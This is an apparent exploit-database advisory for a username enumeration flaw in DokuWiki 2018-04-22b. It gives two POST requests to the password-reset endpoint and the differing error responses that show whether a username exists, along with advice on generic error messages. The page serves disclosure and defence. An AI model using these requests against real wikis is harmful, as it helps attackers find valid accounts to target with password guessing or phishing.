Dokuwiki 2018-04-22b - Username Enumeration

vendor:

Dokuwiki

by:

Talha SEN

5.5

CVSS

MEDIUM

Username Enumeration

200

CWE

Product Name: Dokuwiki

Affected Version From: Dokuwiki version 2018-04-22b

Affected Version To: Dokuwiki version 2018-04-22b

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Alpine Linux 3.5 (docker image), PHP 5.6.30, Apache/2.4.25 (Unix)

2019

Dokuwiki 2018-04-22b – Username Enumeration

The Dokuwiki version 2018-04-22b 'Greebo' allows for username enumeration through the 'set new password' page. By testing for non-valid usernames, it is possible to determine whether a user exists in the database. The vulnerability can be exploited by sending a POST request to the /doku.php?id=start&do=resendpwd endpoint.

Mitigation:

Implement user enumeration prevention measures, such as displaying generic error messages instead of specific messages for non-existing users.

Source

Exploit-DB raw data:

# Exploit Title: Dokuwiki 2018-04-22b - Username Enumeration
# Date: 2019-12-01
# Exploit Author: Talha ŞEN
# Vendor Homepage: https://www.dokuwiki.org/dokuwiki
# Software Link: https://download.dokuwiki.org/
# Version: 2018-04-22b "Greebo"
# Tested on: 
# Alpine Linux 3.5 (docker image)
# PHP 5.6.30
# Apache/2.4.25 (Unix)
# CVE : 

# At login page there is a "set new password" page as below:
# Forgotten your password? Get a new one: Set new password
# At this page there is username enumeration vulnerability.
# Testing for non-valid user:

POST /doku.php?id=start&do=resendpwd HTTP/1.1

sectok=&do=resendpwd&save=1&login=sss

# Response for non-valid user(sss):

<div class="error">Sorry, we can't find this user in our database.</div>

========================================================================

# Testing for valid user:

POST /doku.php?id=start&do=resendpwd HTTP/1.1

sectok=&do=resendpwd&save=1&login=admin

# Response for valid user (admin):

<div class="error">There was an unexpected problem communicating with SMTP: Could not open SMTP Port.</div>
<div class="error">Looks like there was an error on sending the password mail. Please contact the admin!</div>